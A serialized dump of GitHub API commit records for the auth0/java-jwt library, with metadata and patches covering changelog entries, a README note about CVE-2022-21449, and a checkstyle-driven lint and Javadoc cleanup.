site_adminuj,  }(jG  	poovamrajjI  J j   MDQ6VXNlcjE1OTEwNDI1jK  4https://avatars.githubusercontent.com/u/15910425?v=4jM  h3j6  &https://api.github.com/users/poovamrajjB  https://github.com/poovamrajjP  0https://api.github.com/users/poovamraj/followersjR  =https://api.github.com/users/poovamraj/following{/other_user}jT  6https://api.github.com/users/poovamraj/gists{/gist_id}jV  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jX  4https://api.github.com/users/poovamraj/subscriptionsjZ  +https://api.github.com/users/poovamraj/orgsj\  ,https://api.github.com/users/poovamraj/reposj^  7https://api.github.com/users/poovamraj/events{/privacy}j`  6https://api.github.com/users/poovamraj/received_eventsjb  Userjd  uparents]}(j  (f87a5d3f7ce0df3c428fc16e72f2f27659dcf6bej6  \https://api.github.com/repos/auth0/java-jwt/commits/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6bejB  Qhttps://github.com/auth0/java-jwt/commit/f87a5d3f7ce0df3c428fc16e72f2f27659dcf6beuastats}(totalK	additionsK	deletionsKufiles]}(j  (6f330308aebf983fd6cf751da872a0473f886ed3filenameCHANGELOG.mdstatusmodifiedj~  Kj  KchangesKblob_url\https://github.com/auth0/java-jwt/blob/90a68cbeba433c1634450f7d4d32e882aec5bd79/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/90a68cbeba433c1634450f7d4d32e882aec5bd79/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=90a68cbeba433c1634450f7d4d32e882aec5bd79patchX6  @@ -1,9 +1,12 @@
 # Change Log
 
+## [4.0.0](https://github.com/auth0/java-jwt/tree/4.0.0) (2022-06-24)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0-beta.0...4.0.0)
+
 ## [4.0.0-beta.0](https://github.com/auth0/java-jwt/tree/4.0.0-beta.0) (2022-05-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0-beta.0)
 
-💡 Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
+? Check the [Migration Guide](https://github.com/auth0/java-jwt/blob/master/MIGRATION_GUIDE.md) to understand the changes required to migrate your application to v4.
 
 **Added**
 - JavaDoc updated [\#577](https://github.com/auth0/java-jwt/pull/577) ([poovamraj](https://github.com/poovamraj))uau(69dae3eba9235a45e01ab588d5027b73aef918cc}(sha(69dae3eba9235a45e01ab588d5027b73aef918ccnode_idEC_kwDOAQtL0doAKDY5ZGFlM2ViYTkyMzVhNDVlMDFhYjU4OGQ1MDI3YjczYWVmOTE4Y2Mcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-03T14:16:36Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-05-03T14:16:36ZumessageAdded banner to READMEtree}(j  (19160d88f6b875082bbd7f3267a05b1626d0b368url^https://api.github.com/repos/auth0/java-jwt/git/trees/19160d88f6b875082bbd7f3267a05b1626d0b368uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/69dae3eba9235a45e01ab588d5027b73aef918cc
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/69dae3eba9235a45e01ab588d5027b73aef918cchtml_urlQhttps://github.com/auth0/java-jwt/commit/69dae3eba9235a45e01ab588d5027b73aef918cccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/69dae3eba9235a45e01ab588d5027b73aef918cc/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajjŕ  0https://api.github.com/users/poovamraj/followersjǕ  =https://api.github.com/users/poovamraj/following{/other_user}jɕ  6https://api.github.com/users/poovamraj/gists{/gist_id}j˕  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j͕  4https://api.github.com/users/poovamraj/subscriptionsjϕ  +https://api.github.com/users/poovamraj/orgsjѕ  ,https://api.github.com/users/poovamraj/reposjӕ  7https://api.github.com/users/poovamraj/events{/privacy}jՕ  6https://api.github.com/users/poovamraj/received_eventsjו  Userjٕ  uparents]}(j  (05b54499be0cc06478467d66c801d9bc3da3feccj  \https://api.github.com/repos/auth0/java-jwt/commits/05b54499be0cc06478467d66c801d9bc3da3feccj  Qhttps://github.com/auth0/java-jwt/commit/05b54499be0cc06478467d66c801d9bc3da3feccuastats}(totalK	additionsK	deletionsK ufiles]}(j  (0e6a7d48069d99711ad17aba43a1ccd55ebddfe1filename	README.mdstatusmodifiedj  Kj  K changesKblob_urlYhttps://github.com/auth0/java-jwt/blob/69dae3eba9235a45e01ab588d5027b73aef918cc/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/69dae3eba9235a45e01ab588d5027b73aef918cc/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=69dae3eba9235a45e01ab588d5027b73aef918ccpatchXf  @@ -9,6 +9,8 @@
 
 A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
 
+> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
+
 If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
 
 > This library requires Java 8 or higher. The last version that supported Java 7 was 3.11.0.uau(368b3011ca25ddbdb36424725fef39f7a87f48f0}(sha(368b3011ca25ddbdb36424725fef39f7a87f48f0node_idPMDY6Q29tbWl0MTc1MTc1MjE6MzY4YjMwMTFjYTI1ZGRiZGIzNjQyNDcyNWZlZjM5ZjdhODdmNDhmMA==commit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2021-09-16T14:06:41Zu	committer}(j  James Andersonj  jim.anderson@auth0.comj  2021-09-16T14:06:41ZumessageRelease 3.18.2tree}(j  (c13eb51f605eb6922e77c2bb10e502b9e584ebcburl^https://api.github.com/repos/auth0/java-jwt/git/trees/c13eb51f605eb6922e77c2bb10e502b9e584ebcbuj   `https://api.github.com/repos/auth0/java-jwt/git/commits/368b3011ca25ddbdb36424725fef39f7a87f48f0
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj   \https://api.github.com/repos/auth0/java-jwt/commits/368b3011ca25ddbdb36424725fef39f7a87f48f0html_urlQhttps://github.com/auth0/java-jwt/commit/368b3011ca25ddbdb36424725fef39f7a87f48f0comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/368b3011ca25ddbdb36424725fef39f7a87f48f0/commentsj  }(login
jimmyjamesidJ7 j
  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j   'https://api.github.com/users/jimmyjamesj,  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j1  
jimmyjamesj3  J7 j
  MDQ6VXNlcjI3NjIyNQ==j5  2https://avatars.githubusercontent.com/u/276225?v=4j7  h3j   'https://api.github.com/users/jimmyjamesj,  https://github.com/jimmyjamesj:  1https://api.github.com/users/jimmyjames/followersj<  >https://api.github.com/users/jimmyjames/following{/other_user}j>  7https://api.github.com/users/jimmyjames/gists{/gist_id}j@  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jB  5https://api.github.com/users/jimmyjames/subscriptionsjD  ,https://api.github.com/users/jimmyjames/orgsjF  -https://api.github.com/users/jimmyjames/reposjH  8https://api.github.com/users/jimmyjames/events{/privacy}jJ  7https://api.github.com/users/jimmyjames/received_eventsjL  UserjN  uparents]}(j  (fc0ecbabc97dc6b65fb020b8aed5c9c71891718dj   \https://api.github.com/repos/auth0/java-jwt/commits/fc0ecbabc97dc6b65fb020b8aed5c9c71891718dj,  Qhttps://github.com/auth0/java-jwt/commit/fc0ecbabc97dc6b65fb020b8aed5c9c71891718duastats}(totalK	additionsK		deletionsKufiles](}(j  (db17970c008499c0f779b90e72b272667572e8a4filenameCHANGELOG.mdstatusmodifiedjh  Kji  K changesKblob_url\https://github.com/auth0/java-jwt/blob/368b3011ca25ddbdb36424725fef39f7a87f48f0/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/368b3011ca25ddbdb36424725fef39f7a87f48f0/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=368b3011ca25ddbdb36424725fef39f7a87f48f0patchXu  @@ -1,5 +1,12 @@
 # Change Log
 
+## [3.18.2](https://github.com/auth0/java-jwt/tree/3.18.2) (2021-09-16)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.1...3.18.2)
+
+**Fixed**
+- [SDK-2758] Restore withIssuer [\#513](https://github.com/auth0/java-jwt/pull/513) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-2751] Serialize audience claim when a List [\#512](https://github.com/auth0/java-jwt/pull/512) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [3.18.1](https://github.com/auth0/java-jwt/tree/3.18.1) (2021-07-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.18.0...3.18.1)
 u}(j  (c0177c3b52dd1ecd0273a0b48dc918b322cb9d2fjn  	README.mdjp  modifiedjh  Kji  Kjr  Kjs  Yhttps://github.com/auth0/java-jwt/blob/368b3011ca25ddbdb36424725fef39f7a87f48f0/README.mdju  Xhttps://github.com/auth0/java-jwt/raw/368b3011ca25ddbdb36424725fef39f7a87f48f0/README.mdjw  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=368b3011ca25ddbdb36424725fef39f7a87f48f0jy  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.1</version>
+    <version>3.18.2</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.1'
+implementation 'com.auth0:java-jwt:3.18.2'
 ```
 
 ## Available Algorithmsueu(8ab85ab9570215bb47b331b543a098491e4da018}(sha(8ab85ab9570215bb47b331b543a098491e4da018node_idEC_kwDOAQtL0doAKDhhYjg1YWI5NTcwMjE1YmI0N2IzMzFiNTQzYTA5ODQ5MWU0ZGEwMTgcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-23T11:39:38Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-23T11:39:38ZumessageCleaned up lint errorstree}(j  (093b2c7f69657d368f8eb155f487a0447edd674aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/093b2c7f69657d368f8eb155f487a0447edd674auj  `https://api.github.com/repos/auth0/java-jwt/git/commits/8ab85ab9570215bb47b331b543a098491e4da018
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/8ab85ab9570215bb47b331b543a098491e4da018html_urlQhttps://github.com/auth0/java-jwt/commit/8ab85ab9570215bb47b331b543a098491e4da018comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8ab85ab9570215bb47b331b543a098491e4da018/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj  0https://api.github.com/users/poovamraj/followersj  =https://api.github.com/users/poovamraj/following{/other_user}j  6https://api.github.com/users/poovamraj/gists{/gist_id}j  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j  4https://api.github.com/users/poovamraj/subscriptionsj  +https://api.github.com/users/poovamraj/orgsjÖ  ,https://api.github.com/users/poovamraj/reposjŖ  7https://api.github.com/users/poovamraj/events{/privacy}jǖ  6https://api.github.com/users/poovamraj/received_eventsjɖ  Userj˖  uparents]}(j  (2aa4b95e3aab31ec60948dac653e342102f9ce9aj  \https://api.github.com/repos/auth0/java-jwt/commits/2aa4b95e3aab31ec60948dac653e342102f9ce9aj  Qhttps://github.com/auth0/java-jwt/commit/2aa4b95e3aab31ec60948dac653e342102f9ce9auastats}(totalM	additionsM	deletionsM2ufiles](}(j  (16a3de39a45e43c2cef9ab8f8da2a32693423d09filename config/checkstyle/checkstyle.xmlstatusmodifiedj  Kj  KchangesKblob_urlthttps://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/config%2Fcheckstyle%2Fcheckstyle.xmlraw_urlshttps://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/config%2Fcheckstyle%2Fcheckstyle.xmlcontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/config%2Fcheckstyle%2Fcheckstyle.xml?ref=8ab85ab9570215bb47b331b543a098491e4da018patchX&  @@ -19,7 +19,7 @@
 <module name = "Checker">
     <property name="charset" value="UTF-8"/>
 
-    <property name="severity" value="warning"/>
+    <property name="severity" value="error"/>
 
     <property name="fileExtensions" value="java, properties, xml"/>
     <!-- Excludes all 'module-info.java' files              -->
@@ -42,7 +42,7 @@
 
     <module name="LineLength">
         <property name="fileExtensions" value="java"/>
-        <property name="max" value="100"/>
+        <property name="max" value="120"/>
         <property name="ignorePattern" value="^package.*|^import.*|a href|href|http://|https://|ftp://"/>
     </module>
 
@@ -60,7 +60,6 @@
             <property name="allowByTailComment" value="true"/>
             <property name="allowNonPrintableEscapes" value="true"/>
         </module>
-        <module name="AvoidStarImport"/>
         <module name="OneTopLevelClass"/>
         <module name="NoLineWrap">
             <property name="tokens" value="PACKAGE_DEF, IMPORT, STATIC_IMPORT"/>
@@ -247,16 +246,16 @@
                      value="GenericWhitespace ''{0}'' is not preceded with whitespace."/>
         </module>
         <module name="Indentation">
-            <property name="basicOffset" value="2"/>
+            <property name="basicOffset" value="4"/>
             <property name="braceAdjustment" value="2"/>
-            <property name="caseIndent" value="2"/>
+            <property name="caseIndent" value="4"/>
             <property name="throwsIndent" value="4"/>
             <property name="lineWrappingIndentation" value="4"/>
             <property name="arrayInitIndent" value="2"/>
         </module>
         <module name="AbbreviationAsWordInName">
             <property name="ignoreFinal" value="false"/>
-            <property name="allowedAbbreviationLength" value="0"/>
+            <property name="allowedAbbreviationLength" value="5"/>
             <property name="tokens"
                       value="CLASS_DEF, INTERFACE_DEF, ENUM_DEF, ANNOTATION_DEF, ANNOTATION_FIELD_DEF,
                     PARAMETER_DEF, VARIABLE_DEF, METHOD_DEF, PATTERN_VARIABLE_DEF, RECORD_DEF,
@@ -265,12 +264,6 @@
         <module name="NoWhitespaceBeforeCaseDefaultColon"/>
         <module name="OverloadMethodsDeclarationOrder"/>
         <module name="VariableDeclarationUsageDistance"/>
-        <module name="CustomImportOrder">
-            <property name="sortImportsInGroupAlphabetically" value="true"/>
-            <property name="separateLineBetweenGroups" value="true"/>
-            <property name="customImportOrderRules" value="STATIC###THIRD_PARTY_PACKAGE"/>
-            <property name="tokens" value="IMPORT, STATIC_IMPORT, PACKAGE_DEF"/>
-        </module>
         <module name="MethodParamPad">
             <property name="tokens"
                       value="CTOR_DEF, LITERAL_NEW, METHOD_CALL, METHOD_DEF,
@@ -315,7 +308,6 @@
             <property name="forbiddenSummaryFragments"
                       value="^@return the *|^This method returns |^A [{]@code [a-zA-Z0-9]+[}]( is a )"/>
         </module>
-        <module name="JavadocParagraph"/>
         <module name="RequireEmptyLineBeforeBlockTagGroup"/>
         <module name="AtclauseOrder">
             <property name="tagOrder" value="@param, @return, @throws, @deprecated"/>
@@ -343,11 +335,6 @@
                       RECORD_DEF, ANNOTATION_DEF"/>
             <property name="excludeScope" value="nothing"/>
         </module>
-        <module name="MethodName">
-            <property name="format" value="^[a-z][a-z0-9][a-zA-Z0-9_]*$"/>
-            <message key="name.invalidPattern"
-                     value="Method name ''{0}'' must match pattern ''{1}''."/>
-        </module>
         <module name="SingleLineJavadoc"/>
         <module name="EmptyCatchBlock">
             <property name="exceptionVariableName" value="expected"/>u}(j  (001963bdb2effd8b3776c34f354728cd201971b7j  lib/build.gradlej  modifiedj  Kj  K j  Kj  bhttps://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=8ab85ab9570215bb47b331b543a098491e4da018j  @@ -7,6 +7,7 @@ plugins {
 
 checkstyle {
     toolVersion '10.0'
+    checkstyleTest.enabled = false //We are disabling lint checks for tests
 }
 
 logger.lifecycle("Using version ${version} for ${group}.${name}")u}(j  (9d719d1e5e89287b471e171c0c708188d3dd743cj  (lib/src/main/java/com/auth0/jwt/JWT.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X	  @@ -6,6 +6,9 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
+/**
+ * Exposes all the JWT functionalities.
+ */
 @SuppressWarnings("WeakerAccess")
 public class JWT {
 
@@ -22,11 +25,13 @@ public JWT() {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or you already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
         return new JWTDecoder(parser, token);
@@ -35,11 +40,13 @@ public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
     /**
      * Decode a given Json Web Token.
      * <p>
-     * Note that this method <b>doesn't verify the token's signature!</b> Use it only if you trust the token or you already verified it.
+     * Note that this method <b>doesn't verify the token's signature!</b>
+     * Use it only if you trust the token or you already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
-     * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
+     * @throws JWTDecodeException if any part of the token contained an invalid jwt
+     *                            or JSON format of each of the jwt parts.
      */
     public static DecodedJWT decode(String token) throws JWTDecodeException {
         return new JWTDecoder(token);
@@ -57,7 +64,7 @@ public static Verification require(Algorithm algorithm) {
     }
 
     /**
-     * Returns a Json Web Token builder used to create and sign tokens
+     * Returns a Json Web Token builder used to create and sign tokens.
      *
      * @return a token builder.
      */u}(j  (6b355b36346b19ec6ba791b3f49947ba9b1a57d7j  /lib/src/main/java/com/auth0/jwt/JWTCreator.javaj  modifiedj  KCj  K7j  Kzj  https://github.com/auth0/java-jwt/blob/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://github.com/auth0/java-jwt/raw/8ab85ab9570215bb47b331b543a098491e4da018/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=8ab85ab9570215bb47b331b543a098491e4da018j  X4'  @@ -15,7 +15,8 @@
 import java.util.Map.Entry;
 
 /**
- * The JWTCreator class holds the sign method to generate a complete JWT (with Signature) from a given Header and Payload content.
+ * The JWTCreator class holds the sign method to generate a complete JWT (with Signature)
+ * from a given Header and Payload content.
  * <p>
  * This class is thread-safe.
  */
@@ -38,7 +39,8 @@ public final class JWTCreator {
         mapper.configure(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY, true);
     }
 
-    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims) throws JWTCreationException {
+    private JWTCreator(Algorithm algorithm, Map<String, Object> headerClaims, Map<String, Object> payloadClaims)
+            throws JWTCreationException {
         this.algorithm = algorithm;
         try {
             headerJson = mapper.writeValueAsString(new HeaderClaimsHolder(headerClaims));
@@ -96,7 +98,8 @@ public Builder withHeader(Map<String, Object> headerClaims) {
 
         /**
          * Add a specific Key Id ("kid") claim to the Header.
-         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider, the 'kid' value will be taken from that provider and this one will be ignored.
+         * If the {@link Algorithm} used to sign this token was instantiated with a KeyProvider,
+         * the 'kid' value will be taken from that provider and this one will be ignored.
          *
          * @param keyId the Key Id value.
          * @return this same Builder instance.
@@ -322,48 +325,6 @@ public Builder withClaim(String name, Instant value) throws IllegalArgumentExcep
             return this;
         }
 
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null.
-         */
-        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null.
-         */
-        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
-        /**
-         * Add a custom Array Claim with the given items.
-         *
-         * @param name  the Claim's name.
-         * @param items the Claim's value.
-         * @return this same Builder instance.
-         * @throws IllegalArgumentException if the name is null
-         */
-        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
-            assertNonNull(name);
-            addClaim(name, items);
-            return this;
-        }
-
         /**
          * Add a custom Map Claim with the given items.
          * <p>
@@ -381,7 +342,8 @@ public Builder withClaim(String name, Map<String, ?> map) throws IllegalArgument
             assertNonNull(name);
             // validate map contents
             if (map != null && !validateClaim(map)) {
-                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected map containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, map);
             return this;
@@ -405,12 +367,55 @@ public Builder withClaim(String name, List<?> list) throws IllegalArgumentExcept
             assertNonNull(name);
             // validate list contents
             if (list != null && !validateClaim(list)) {
-                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Expected list containing Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
             addClaim(name, list);
             return this;
         }
 
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, String[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null.
+         */
+        public Builder withArrayClaim(String name, Integer[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
+        /**
+         * Add a custom Array Claim with the given items.
+         *
+         * @param name  the Claim's name.
+         * @param items the Claim's value.
+         * @return this same Builder instance.
+         * @throws IllegalArgumentException if the name is null
+         */
+        public Builder withArrayClaim(String name, Long[] items) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, items);
+            return this;
+        }
+
         /**
          * Add specific Claims to set as the Payload. If the provided map is null then
          * nothing is changed.
@@ -426,16 +431,18 @@ public Builder withClaim(String name, List<?> list) throws IllegalArgumentExcept
          * </p>
          *
          * @param payloadClaims the values to use as Claims in the token's payload.
-         * @throws IllegalArgumentException if any of the claim keys or null, or if the values are not of a supported type.
          * @return this same Builder instance.
+         * @throws IllegalArgumentException if any of the claim keys or null,
+         *                                  or if the values are not of a supported type.
          */
         public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentException {
             if (payloadClaims == null) {
                 return this;
             }
 
             if (!validatePayload(payloadClaims)) {
-                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, "
+                        + "Long, Double, String and Date");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builder
@@ -504,16 +511,18 @@ private static boolean isBasicType(Object value) {
             if (c.isArray()) {
                 return c == Integer[].class || c == Long[].class || c == String[].class;
             }
-            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Instant.class || c == Boolean.class;
+            return c == String.class || c == Integer.class || c == Long.class || c == Double.class
+                    || c == Date.class || c == Instant.class || c == Boolean.class;
         }
 
         /**
-         * Creates a new JWT and signs is with the given algorithm
+         * Creates a new JWT and signs is with the given algorithm.
          *
          * @param algorithm used to sign the JWT
          * @return a new JWT token
          * @throws IllegalArgumentException if the provided algorithm is null.
-         * @throws JWTCreationException     if the claims could not be converted to a valid JSON or there was a problem with the signing key.
+         * @throws JWTCreationException     if the claims could not be converted to a valid JSON
+         *                                  or there was a problem with the signing key.
          */
         public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCreationException {
             if (algorithm == null) {
@@ -546,10 +555,13 @@ private void addClaim(String name, Object value) {
     }
 
     private String sign() throws SignatureGenerationException {
-        String header = Base64.getUrlEncoder().withoutPadding().encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
-        String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
+        String header = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
+        String payload = Base64.getUrlEncoder().withoutPadding()
+                .encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
 
-        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
+        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8));
         String signature = Base64.getUrlEncoder().withoutPadding().encodeToString((signatureBytes));
 
